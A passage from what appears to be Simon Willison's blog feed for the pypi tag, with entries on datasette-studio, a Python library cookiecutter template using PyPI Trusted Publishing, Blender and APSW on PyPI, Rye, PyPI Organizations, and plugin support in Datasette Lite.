&lt;p&gt;I'm excited to see where this goes. I've limited my usage of Observable Notebooks a little in the past purely due to the proprietary nature of their platform and the limitations placed on free accounts (mainly the lack of free private notebooks), while still having enormous respect for the technology and enthusiastically adopting their open source libraries such as &lt;a href="https://observablehq.com/plot/"&gt;Observable Plot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Observable Framework addresses basically all of my reservations. It's a fantastic new expression of the ideas that made Observable Notebooks so compelling, and I expect to use it for all sorts of interesting projects in the future.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/d3"&gt;d3&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/jupyter"&gt;jupyter&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/observable"&gt;observable&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/mike-bostock"&gt;mike-bostock&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/observable-framework"&gt;observable-framework&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/observable-plot"&gt;observable-plot&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="javascript"/><category term="open-source"/><category term="pypi"/><category term="d3"/><category term="jupyter"/><category term="observable"/><category term="mike-bostock"/><category term="observable-framework"/><category term="observable-plot"/></entry><entry><title>datasette-studio</title><link href="https://simonwillison.net/2024/Feb/18/datasette-studio/#atom-tag" rel="alternate"/><published>2024-02-18T20:38:08+00:00</published><updated>2024-02-18T20:38:08+00:00</updated><id>https://simonwillison.net/2024/Feb/18/datasette-studio/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/datasette/datasette-studio"&gt;datasette-studio&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
I've been thinking for a while that it might be interesting to have a version of Datasette that comes bundled with a set of useful plugins, aimed at expanding Datasette's default functionality to cover things like importing data and editing schemas.&lt;/p&gt;
&lt;p&gt;This morning I built the very first experimental preview of what that could look like. Install it using &lt;code&gt;pipx&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pipx install datasette-studio&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I recommend pipx because it will ensure &lt;code&gt;datasette-studio&lt;/code&gt; gets its own isolated environment, independent of any other Datasette installations you might have.&lt;/p&gt;
&lt;p&gt;Now running &lt;code&gt;datasette-studio&lt;/code&gt; instead of &lt;code&gt;datasette&lt;/code&gt; will get you the version with the bundled plugins.&lt;/p&gt;
&lt;p&gt;The implementation of this is fun - it's a single &lt;a href="https://github.com/datasette/datasette-studio/blob/main/pyproject.toml"&gt;pyproject.toml file&lt;/a&gt; defining the dependencies and setting up the &lt;code&gt;datasette-studio&lt;/code&gt; CLI hook, which is enough to provide the full set of functionality.&lt;/p&gt;
&lt;p&gt;Is this a good idea? I don't know yet, but it's certainly an interesting initial experiment.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/cli"&gt;cli&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/plugins"&gt;plugins&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/datasette"&gt;datasette&lt;/a&gt;&lt;/p&gt;



</summary><category term="cli"/><category term="plugins"/><category term="projects"/><category term="pypi"/><category term="python"/><category term="datasette"/></entry><entry><title>Publish Python packages to PyPI with a python-lib cookiecutter template and GitHub Actions</title><link href="https://simonwillison.net/2024/Jan/16/python-lib-pypi/#atom-tag" rel="alternate"/><published>2024-01-16T21:59:56+00:00</published><updated>2024-01-16T21:59:56+00:00</updated><id>https://simonwillison.net/2024/Jan/16/python-lib-pypi/#atom-tag</id><summary type="html">
    &lt;p&gt;I use &lt;a href="https://github.com/cookiecutter/cookiecutter"&gt;cookiecutter&lt;/a&gt; to start almost all of my Python projects. It helps me quickly generate a skeleton of a project with my preferred directory structure and configured tools.&lt;/p&gt;
&lt;p&gt;I made some major upgrades to my &lt;a href="https://github.com/simonw/python-lib"&gt;python-lib&lt;/a&gt; cookiecutter template today. Here's what it can now do to help you get started with a new Python library:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a &lt;code&gt;pyproject.toml&lt;/code&gt; file configured for use with &lt;code&gt;setuptools&lt;/code&gt;. In my opinion this is the pattern with the current lowest learning curve - I wrote about that &lt;a href="https://til.simonwillison.net/python/pyproject"&gt;in detail in this TIL&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Add a skeleton &lt;code&gt;README&lt;/code&gt; and an Apache 2.0 &lt;code&gt;LICENSE&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Create &lt;code&gt;your_package/__init__.py&lt;/code&gt; for your code to go in.&lt;/li&gt;
&lt;li&gt;Create &lt;code&gt;tests/test_your_package.py&lt;/code&gt; with a skeleton test.&lt;/li&gt;
&lt;li&gt;Include &lt;code&gt;pytest&lt;/code&gt; as a test dependency.&lt;/li&gt;
&lt;li&gt;Configure GitHub Actions with two workflows in &lt;code&gt;.github/workflows&lt;/code&gt; - one for running the tests against Python 3.8 through 3.12, and one for publishing releases of your package to PyPI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The changes I made today are that I switched from &lt;code&gt;setup.py&lt;/code&gt; to &lt;code&gt;pyproject.toml&lt;/code&gt;, and I made a big improvement to how the publishing workflow authenticates with PyPI.&lt;/p&gt;
&lt;h4 id="pypi-trusted-publishing"&gt;Publishing to PyPI with Trusted Publishing&lt;/h4&gt;
&lt;p&gt;My previous version of this template required you to jump through &lt;a href="https://github.com/simonw/python-lib/blob/c28bd8cf822455fd464c253daf4ef4b430758588/README.md#publishing-your-library-as-a-package-to-pypi"&gt;quite a few hoops&lt;/a&gt; to get PyPI publishing to work. You needed to create a PyPI token that could publish a new package, then paste that token into a GitHub Actions secret, then publish the package, and then disable that token and create a new one dedicated to just updating this package in the future.&lt;/p&gt;
&lt;p&gt;The new version is much simpler, thanks to PyPI's relatively new &lt;a href="https://docs.pypi.org/trusted-publishers/"&gt;Trusted Publishers&lt;/a&gt; mechanism.&lt;/p&gt;
&lt;p&gt;To publish a new package, you need to sign into PyPI and &lt;a href="https://pypi.org/manage/account/publishing/"&gt;create a new "pending publisher"&lt;/a&gt;. Effectively you tell PyPI "My GitHub repository &lt;code&gt;myname/name-of-repo&lt;/code&gt; should be allowed to publish packages with the name &lt;code&gt;name-of-package&lt;/code&gt;".&lt;/p&gt;
&lt;p&gt;Here's that form for my brand new &lt;a href="https://github.com/datasette/datasette-test"&gt;datasette-test&lt;/a&gt; library, the first library I published using this updated template:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/datasette-test.png" alt="Screenshot of the create pending publisher form on PyPI. PyPI Project Name is set to datasette-test. Owner is set to datasette. Repository name is datasette-test. Workflow name is publish.yml. Environment name is release." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;Then create a release on GitHub, with a name that matches the version number from your &lt;code&gt;pyproject.toml&lt;/code&gt;. Everything else should Just Work.&lt;/p&gt;
&lt;p&gt;I wrote &lt;a href="https://til.simonwillison.net/pypi/pypi-releases-from-github"&gt;more about Trusted Publishing in this TIL&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="github-repository-template"&gt;Creating a package using a GitHub repository template&lt;/h4&gt;
&lt;p&gt;The &lt;a href="https://github.com/simonw/python-lib/issues/6"&gt;most time consuming part&lt;/a&gt; of this project was getting my GitHub repository template to work properly.&lt;/p&gt;
&lt;p&gt;There are two ways to use my cookiecutter template. You can use the cookiecutter command-line tool like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;pipx install cookiecutter
cookiecutter gh:simonw/python-lib
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Answer a few questions here&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;But a more fun and convenient option is to use my GitHub repository template, &lt;a href="https://github.com/simonw/python-lib-template-repository"&gt;simonw/python-lib-template-repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This lets you &lt;a href="https://github.com/new?template_name=python-lib-template-repository&amp;amp;template_owner=simonw"&gt;fill in a form&lt;/a&gt; on GitHub to create a new repository which will then execute the cookiecutter template for you and update itself with the result.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/template-repo-create.jpg" alt="Create a new repository form. I'm using the python-lib-template-repository template, and it asks for my repository name (my-new-python-library) and description." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;You can see an example of a repository created using this template at &lt;a href="https://github.com/datasette/datasette-test/tree/8d5f8262dc3a88f3c6d97f0cef3b55264cabc695"&gt;datasette/datasette-test&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="adding-it-all-together"&gt;Adding it all together&lt;/h4&gt;
&lt;p&gt;There are quite a lot of moving parts under the scenes here, but the end result is that anyone can now create a Python library with test coverage, GitHub CI and release automation by filling in a couple of forms and clicking some buttons.&lt;/p&gt;
&lt;p&gt;For more details on how this all works, and how it's evolved over time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://simonwillison.net/2020/Jun/20/cookiecutter-plugins/"&gt;A cookiecutter template for writing Datasette plugins&lt;/a&gt; from June 2020 describes my first experiments with cookiecutter&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://simonwillison.net/2021/Aug/28/dynamic-github-repository-templates/"&gt;Dynamic content for GitHub repository templates using cookiecutter and GitHub Actions&lt;/a&gt; from August 2021 describes my earliest attempts at using GitHub repository templates for this&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://simonwillison.net/2021/Nov/4/publish-open-source-python-library/"&gt;How to build, test and publish an open source Python library&lt;/a&gt; is a ten minute talk I gave at PyGotham in November 2021. It describes &lt;code&gt;setup.py&lt;/code&gt; in detail, which is no longer my preferred approach.&lt;/li&gt;
&lt;/ul&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github-actions"&gt;github-actions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/cookiecutter"&gt;cookiecutter&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="github"/><category term="projects"/><category term="pypi"/><category term="python"/><category term="github-actions"/><category term="cookiecutter"/></entry><entry><title>bpy - Blender on PyPI</title><link href="https://simonwillison.net/2023/Sep/8/blender-on-pypi/#atom-tag" rel="alternate"/><published>2023-09-08T15:29:10+00:00</published><updated>2023-09-08T15:29:10+00:00</updated><id>https://simonwillison.net/2023/Sep/8/blender-on-pypi/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://pypi.org/project/bpy/"&gt;bpy - Blender on PyPI&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
TIL you can “pip install” Blender!&lt;/p&gt;

&lt;p&gt;bpy “provides Blender as a Python module”—it’s part of the official Blender project, and ships with binary wheels ranging in size from 168MB to 319MB depending on your platform.&lt;/p&gt;

&lt;p&gt;It only supports the version of Python used by the current Blender release though—right now that’s Python 3.10.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/kolibril13/status/1699790198505353259"&gt;@kolibril13&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/blender"&gt;blender&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="python"/><category term="blender"/></entry><entry><title>Rye</title><link href="https://simonwillison.net/2023/Apr/24/rye/#atom-tag" rel="alternate"/><published>2023-04-24T04:02:42+00:00</published><updated>2023-04-24T04:02:42+00:00</updated><id>https://simonwillison.net/2023/Apr/24/rye/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/mitsuhiko/rye"&gt;Rye&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Armin Ronacher's take on a Python packaging tool. There are a lot of interesting ideas in this one - it's written in Rust, configured using &lt;code&gt;pyproject.toml&lt;/code&gt; and has some very strong opinions, including completely hiding &lt;code&gt;pip&lt;/code&gt; from view and insisting you use &lt;code&gt;rye add package&lt;/code&gt; instead. Notably, it doesn't use the system Python at all: instead, it downloads a pre-compiled standalone Python from Gregory Szorc's &lt;a href="https://github.com/indygreg/python-build-standalone"&gt;python-build-standalone&lt;/a&gt; project - the same approach I used for the Datasette Desktop Electron app.&lt;/p&gt;
&lt;p&gt;Armin warns that this is just an exploration, with no guarantees of future maintenance - and even has an issue open titled &lt;a href="https://github.com/mitsuhiko/rye/discussions/6"&gt;Should Rye exist?&lt;/a&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/armin-ronacher"&gt;armin-ronacher&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rust"&gt;rust&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rye"&gt;rye&lt;/a&gt;&lt;/p&gt;



</summary><category term="armin-ronacher"/><category term="packaging"/><category term="pypi"/><category term="python"/><category term="rust"/><category term="rye"/></entry><entry><title>Introducing PyPI Organizations</title><link href="https://simonwillison.net/2023/Apr/23/introducing-pypi-organizations/#atom-tag" rel="alternate"/><published>2023-04-23T20:29:39+00:00</published><updated>2023-04-23T20:29:39+00:00</updated><id>https://simonwillison.net/2023/Apr/23/introducing-pypi-organizations/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2023-04-23-introducing-pypi-organizations/"&gt;Introducing PyPI Organizations&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Launched at PyCon US today: Organizations allow packages on the Python Package Index to be owned by a group, not an individual user account. “We’re making organizations available to community projects for free, forever, and to corporate projects for a small fee.”—this is the first revenue generating PyPI feature.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;&lt;/p&gt;



</summary><category term="open-source"/><category term="packaging"/><category term="pypi"/><category term="python"/><category term="psf"/></entry><entry><title>APSW is now available on PyPI</title><link href="https://simonwillison.net/2022/Sep/15/apsw/#atom-tag" rel="alternate"/><published>2022-09-15T22:18:04+00:00</published><updated>2022-09-15T22:18:04+00:00</updated><id>https://simonwillison.net/2022/Sep/15/apsw/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/rogerbinns/apsw/issues/310#issuecomment-1147959810"&gt;APSW is now available on PyPI&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
News I missed from June: the venerable (17+ years old) APSW SQLite library for Python is now officially available on PyPI as a set of wheels, built using cibuildwheel. This is a really big deal: APSW is an extremely well maintained library which exposes way more low-level SQLite functionality than the standard library’s sqlite3 module, and to-date one of the only disadvantages of using it was the need to install it independently of PyPI. Now you can just run “pip install apsw”.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sqlite"&gt;sqlite&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/apsw"&gt;apsw&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="python"/><category term="sqlite"/><category term="apsw"/></entry><entry><title>Should You Use Upper Bound Version Constraints?</title><link href="https://simonwillison.net/2022/Sep/5/upper-bound-version-constraints/#atom-tag" rel="alternate"/><published>2022-09-05T17:42:02+00:00</published><updated>2022-09-05T17:42:02+00:00</updated><id>https://simonwillison.net/2022/Sep/5/upper-bound-version-constraints/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://iscinumpy.dev/post/bound-version-constraints/"&gt;Should You Use Upper Bound Version Constraints?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Should you pin your library's dependencies using &lt;code&gt;"click&amp;gt;=7,&amp;lt;8"&lt;/code&gt; or &lt;code&gt;"click~=7.0"&lt;/code&gt;? Henry Schreiner's short answer is no, and his long answer is an exhaustive essay covering every conceivable aspect of this thorny Python packaging problem.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/AdamChainz/status/1566729766388092929"&gt;@AdamChainz&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;&lt;/p&gt;



</summary><category term="packaging"/><category term="pypi"/><category term="python"/></entry><entry><title>Plugin support for Datasette Lite</title><link href="https://simonwillison.net/2022/Aug/17/datasette-lite-plugins/#atom-tag" rel="alternate"/><published>2022-08-17T18:20:59+00:00</published><updated>2022-08-17T18:20:59+00:00</updated><id>https://simonwillison.net/2022/Aug/17/datasette-lite-plugins/#atom-tag</id><summary type="html">
    &lt;p&gt;I've added a new feature to &lt;a href="https://lite.datasette.io/"&gt;Datasette Lite&lt;/a&gt;, my distribution of &lt;a href="https://datasette.io/"&gt;Datasette&lt;/a&gt; that runs entirely in the browser using Python and SQLite compiled to WebAssembly. You can now install additional &lt;a href="https://datasette.io/plugins"&gt;Datasette plugins&lt;/a&gt; by passing them in the URL.&lt;/p&gt;
&lt;h4&gt;Datasette Lite background&lt;/h4&gt;
&lt;p&gt;Datasette Lite runs Datasette in the browser. I initially built it as a fun technical proof of concept, but I'm increasingly finding it to be a genuinely useful tool for quick ad-hoc data analysis and publication. Not having any server-side components at all makes it effectively free to use without fear of racking up cloud computing costs for a throwaway project.&lt;/p&gt;
&lt;p&gt;You can read more about Datasette Lite in these posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://simonwillison.net/2022/May/4/datasette-lite/"&gt;Datasette Lite: a server-side Python web application running in a browser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://simonwillison.net/2022/Jun/20/datasette-lite-csvs/"&gt;Joining CSV files in your browser using Datasette Lite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://simonwillison.net/2022/Jul/30/psf-board/#scraping-datasette-lite"&gt;Scraping data into Datasette Lite&lt;/a&gt; shows an example project where I scraped PSF board resolutions, stored the results in a CSV file in &lt;a href="https://gist.github.com/simonw/71b03ca3688c8f37fe1b35859ebc458b"&gt;a GitHub Gist&lt;/a&gt; and then constructed &lt;a href="https://lite.datasette.io/?csv=https%3A%2F%2Fgist.githubusercontent.com%2Fsimonw%2F71b03ca3688c8f37fe1b35859ebc458b%2Fraw%2Fd3ca708e5d6242848201d1d4c1c2ddbba15c4d28%2Fpsf-resolutions.csv#/data?sql=with+filtered+as+%28%0A++select+*+from%0A++++%5Bpsf-resolutions%5D%0A++where%0A++++%22dollars%22+is+not+null%0A++++and+%22text%22+like+%27%25%27+%7C%7C+%3Asearch+%7C%7C+%27%25%27%0A%29%0Aselect%0A++%27Total%3A+%24%27+%7C%7C+printf%28%27%25%2Cd%27%2C+sum%28dollars%29%29+as+text%2C%0A++null+as+date%0Afrom+filtered%0Aunion+all%0Aselect%0A++text%2C+date%0Afrom+filtered%3B&amp;amp;search=Nigeria"&gt;this URL&lt;/a&gt; to open the result in Datasette Lite and execute a SQL query.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Adding plugins to Datasette Lite&lt;/h4&gt;
&lt;p&gt;One of Datasette's key features is support for plugins. There are over 90 listed in the &lt;a href="https://datasette.io/plugins"&gt;plugin directory&lt;/a&gt; now, with more emerging all the time. They're a fantastic way to explore new feature ideas and extend the software to handle non-default use cases.&lt;/p&gt;
&lt;p&gt;Plugins are Python packages, published to &lt;a href="https://pypi.org/"&gt;PyPI&lt;/a&gt;. You can add them to Datasette Lite using the new &lt;code&gt;?install=name-of-plugin&lt;/code&gt; query string parameter.&lt;/p&gt;
&lt;p&gt;Here's an example URL that loads the &lt;a href="https://datasette.io/plugins/datasette-jellyfish"&gt;datasette-jellyfish&lt;/a&gt; plugin, which adds new SQL functions for calculating distances between strings, then executes a SQL query that demonstrates that plugin:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://lite.datasette.io/?install=datasette-jellyfish#/fixtures?sql=SELECT%0A++++levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++damerau_levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++hamming_distance%28%3As1%2C+%3As2%29%2C%0A++++jaro_similarity%28%3As1%2C+%3As2%29%2C%0A++++jaro_winkler_similarity%28%3As1%2C+%3As2%29%2C%0A++++match_rating_comparison%28%3As1%2C+%3As2%29%3B&amp;amp;s1=barrack+obama&amp;amp;s2=barrack+h+obama"&gt;https://lite.datasette.io/?install=datasette-jellyfish#/fixtures?sql=SELECT%0A++++levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++damerau_levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++hamming_distance%28%3As1%2C+%3As2%29%2C%0A++++jaro_similarity%28%3As1%2C+%3As2%29%2C%0A++++jaro_winkler_similarity%28%3As1%2C+%3As2%29%2C%0A++++match_rating_comparison%28%3As1%2C+%3As2%29%3B&amp;amp;s1=barrack+obama&amp;amp;s2=barrack+h+obama&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That URL uses &lt;code&gt;?install=datasette-jellyfish&lt;/code&gt; to install the plugin, then executes the following SQL query:&lt;/p&gt;
&lt;div class="highlight highlight-source-sql"&gt;&lt;pre&gt;&lt;span class="pl-k"&gt;SELECT&lt;/span&gt;
    levenshtein_distance(:s1, :s2),
    damerau_levenshtein_distance(:s1, :s2),
    hamming_distance(:s1, :s2),
    jaro_similarity(:s1, :s2),
    jaro_winkler_similarity(:s1, :s2),
    match_rating_comparison(:s1, :s2);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It sets &lt;code&gt;s1&lt;/code&gt; to &lt;code&gt;"barack obama"&lt;/code&gt; and &lt;code&gt;s2&lt;/code&gt; to &lt;code&gt;"barrack h obama&lt;/code&gt;".&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2022/datasette-lite-plugin.jpg" alt="Screenshot showing the results of that SQL query running in Datasette Lite. It compares the string barrack obama with the string barrack h obama and shows various different scores." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;h4&gt;Plugin compatibility&lt;/h4&gt;
&lt;p&gt;Unfortunately, many existing Datasette plugins aren't yet compatible with Datasette Lite. Most importantly, visualization plugins such as &lt;a href="https://datasette.io/plugins/datasette-cluster-map"&gt;datasette-cluster-map&lt;/a&gt; and &lt;a href="https://datasette.io/plugins/datasette-vega"&gt;datasette-vega&lt;/a&gt; don't work.&lt;/p&gt;
&lt;p&gt;This is because I haven't yet solved the challenge of loading additional JavaScript and CSS into Datasette Lite - see &lt;a href="https://github.com/simonw/datasette-lite/issues/8"&gt;issue #8&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here's the full list of plugins that I've confirmed work with Datasette Lite so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-packages"&gt;datasette-packages&lt;/a&gt; - Show a list of currently installed Python packages - &lt;a href="https://lite.datasette.io/?install=datasette-packages#/-/packages"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-dateutil"&gt;datasette-dateutil&lt;/a&gt; - dateutil functions for Datasette - &lt;a href="https://lite.datasette.io/?install=datasette-dateutil#/fixtures?sql=select%0A++dateutil_parse%28%2210+october+2020+3pm%22%29%2C%0A++dateutil_parse_fuzzy%28%22This+is+due+10+september%22%29%2C%0A++dateutil_parse%28%221%2F2%2F2020%22%29%2C%0A++dateutil_parse%28%222020-03-04%22%29%2C%0A++dateutil_parse_dayfirst%28%222020-03-04%22%29%3B"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-schema-versions"&gt;datasette-schema-versions&lt;/a&gt; - Datasette plugin that shows the schema version of every attached database - &lt;a href="https://lite.datasette.io/?install=datasette-schema-versions#/-/schema-versions"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-debug-asgi"&gt;datasette-debug-asgi&lt;/a&gt; - Datasette plugin for dumping out the ASGI scope. - &lt;a href="https://lite.datasette.io/?install=datasette-debug-asgi#/-/asgi-scope"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-query-links"&gt;datasette-query-links&lt;/a&gt; - Turn SELECT queries returned by a query into links to execute them - &lt;a href="https://lite.datasette.io/?install=datasette-query-links#/fixtures?sql=select%0D%0A++'select+*+from+%5Bfacetable%5D'+as+query%0D%0Aunion%0D%0Aselect%0D%0A++'select+sqlite_version()'%0D%0Aunion%0D%0Aselect%0D%0A++'select+this+is+invalid+SQL+so+will+not+be+linked'"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-json-html"&gt;datasette-json-html&lt;/a&gt; - Datasette plugin for rendering HTML based on JSON values - &lt;a href="https://lite.datasette.io/?install=datasette-json-html#/fixtures?sql=select+%27%5B%0A++++%7B%0A++++++++%22href%22%3A+%22https%3A%2F%2Fsimonwillison.net%2F%22%2C%0A++++++++%22label%22%3A+%22Simon+Willison%22%0A++++%7D%2C%0A++++%7B%0A++++++++%22href%22%3A+%22https%3A%2F%2Fgithub.com%2Fsimonw%2Fdatasette%22%2C%0A++++++++%22label%22%3A+%22Datasette%22%0A++++%7D%0A%5D%27+as+output"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-haversine"&gt;datasette-haversine&lt;/a&gt; - Datasette plugin that adds a custom SQL function for haversine distances - &lt;a href="https://lite.datasette.io/?install=datasette-haversine#/fixtures?sql=select+haversine%280%2C+154%2C+1%2C+131%29"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-jellyfish"&gt;datasette-jellyfish&lt;/a&gt; - Datasette plugin that adds custom SQL functions for fuzzy string matching, built on top of the Jellyfish Python library - &lt;a href="https://lite.datasette.io/?install=datasette-jellyfish#/fixtures?sql=SELECT%0A++++levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++damerau_levenshtein_distance%28%3As1%2C+%3As2%29%2C%0A++++hamming_distance%28%3As1%2C+%3As2%29%2C%0A++++jaro_similarity%28%3As1%2C+%3As2%29%2C%0A++++jaro_winkler_similarity%28%3As1%2C+%3As2%29%2C%0A++++match_rating_comparison%28%3As1%2C+%3As2%29%3B&amp;amp;s1=barrack+obama&amp;amp;s2=barrack+h+obama"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-pretty-json"&gt;datasette-pretty-json&lt;/a&gt; - Datasette plugin that pretty-prints any column values that are valid JSON objects or arrays. - &lt;a href="https://lite.datasette.io/?install=datasette-pretty-json#/fixtures?sql=select+%27%7B%22this%22%3A+%5B%22is%22%2C+%22nested%22%2C+%22json%22%5D%7D%27"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-yaml"&gt;datasette-yaml&lt;/a&gt; - Export Datasette records as YAML - &lt;a href="https://lite.datasette.io/?install=datasette-yaml#/fixtures/compound_three_primary_keys.yaml"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://datasette.io/plugins/datasette-copyable"&gt;datasette-copyable&lt;/a&gt; - Datasette plugin for outputting tables in formats suitable for copy and paste - &lt;a href="https://lite.datasette.io/?install=datasette-copyable#/fixtures/compound_three_primary_keys.copyable?_table_format=github"&gt;demo&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;How it works&lt;/h4&gt;
